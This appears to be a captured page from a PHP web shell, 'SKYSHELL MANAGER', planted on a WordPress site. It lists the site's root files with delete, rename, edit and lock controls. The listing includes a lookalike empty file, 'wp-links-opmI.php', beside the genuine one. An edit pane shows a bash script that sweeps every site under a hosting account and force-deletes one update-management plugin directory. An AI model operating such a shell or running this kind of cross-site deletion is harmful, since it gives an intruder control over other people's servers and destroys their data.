📁
SKYSHELL MANAGER
PHP v8.3.31
Create
Create
Path:
root
/
home
/
firadelllibrepro
/
alsahwanet.net
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0555
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.78 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.bak.20250916123008
0.89 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
403.shtml
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
404.shtml
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
500.shtml
0.24 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
cp_errordocument.shtml
10.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
0.4 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.181cd17672105da14ef50304b037da0e.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.2 KB
0664
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt.bak
0.05 KB
0664
🗑️
🏷️
⬇️
✏️
🔒
📄
wordfence-waf.php
0.32 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
3.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opmI.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
31.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: delete_folder.sh
#!/usr/bin/env bash # delete_stops_plugin.sh set -e ROOT="/home/mpnew05" # <-- change if your sites live elsewhere DRYRUN=1 # default: DRY RUN (set via --live to actually delete) DEBUG=0 # Flags for arg in "$@"; do case "$arg" in --live) DRYRUN=0 ;; --dry) DRYRUN=1 ;; --debug) DEBUG=1 ;; --root=*) ROOT="${arg#--root=}" ;; esac done echo "[MODE] $([[ $DRYRUN -eq 1 ]] && echo DRY-RUN || echo LIVE)" echo "[INFO] ROOT=$ROOT" [[ -d "$ROOT" ]] || { echo "[ERROR] Root not found: $ROOT"; exit 1; } dirs_seen=0; checked=0; found=0; deleted=0; skipped=0; no_wp=0; errors=0 while IFS= read -r -d '' site; do [[ -d "$site" ]] || continue ((dirs_seen++)) case "$site" in *"/virtfs" | *"/virtfs/"* ) echo "[SKIP] $site (virtfs)"; ((skipped++)); continue;; esac # Must have wp-config.php in root or public_html if [[ -f "$site/wp-config.php" ]]; then wpconf="$site/wp-config.php" elif [[ -f "$site/public_html/wp-config.php" ]]; then wpconf="$site/public_html/wp-config.php" else echo "[SKIP] $site (no wp-config.php in root or public_html)" ((no_wp++)); continue fi ((checked++)) echo "============================" echo "[SITE] $site" echo "[INFO] using wp-config: $wpconf" for t in \ "$site/wp-content/plugins/stops-core-theme-and-plugin-updates" \ "$site/public_html/wp-content/plugins/stops-core-theme-and-plugin-updates" do [[ "$t" == *"/virtfs/"* ]] && { echo "[SKIP] $t (virtfs)"; ((skipped++)); continue; } if [[ -d "$t" ]]; then echo "[FOUND] $t" ((found++)) if [[ $DRYRUN -eq 1 ]]; then echo "[DRYRUN] Would delete: $t" else if rm -rf -- "$t"; then echo "[DELETED] $t" ((deleted++)) else echo "[ERR] Failed to delete: $t" ((errors++)) fi fi else [[ $DEBUG -eq 1 ]] && echo "[MISS] $t" fi done done < <(find "$ROOT" -mindepth 1 -maxdepth 1 -type d -print0) echo "-----" echo "[SUMMARY] Root: $ROOT" echo "[SUMMARY] Dirs seen: $dirs_seen; Sites checked: $checked; Skipped (virtfs): $skipped; Skipped (no wp-config): $no_wp" echo "[SUMMARY] Found: $found; Deleted: $deleted; Errors: $errors"
Save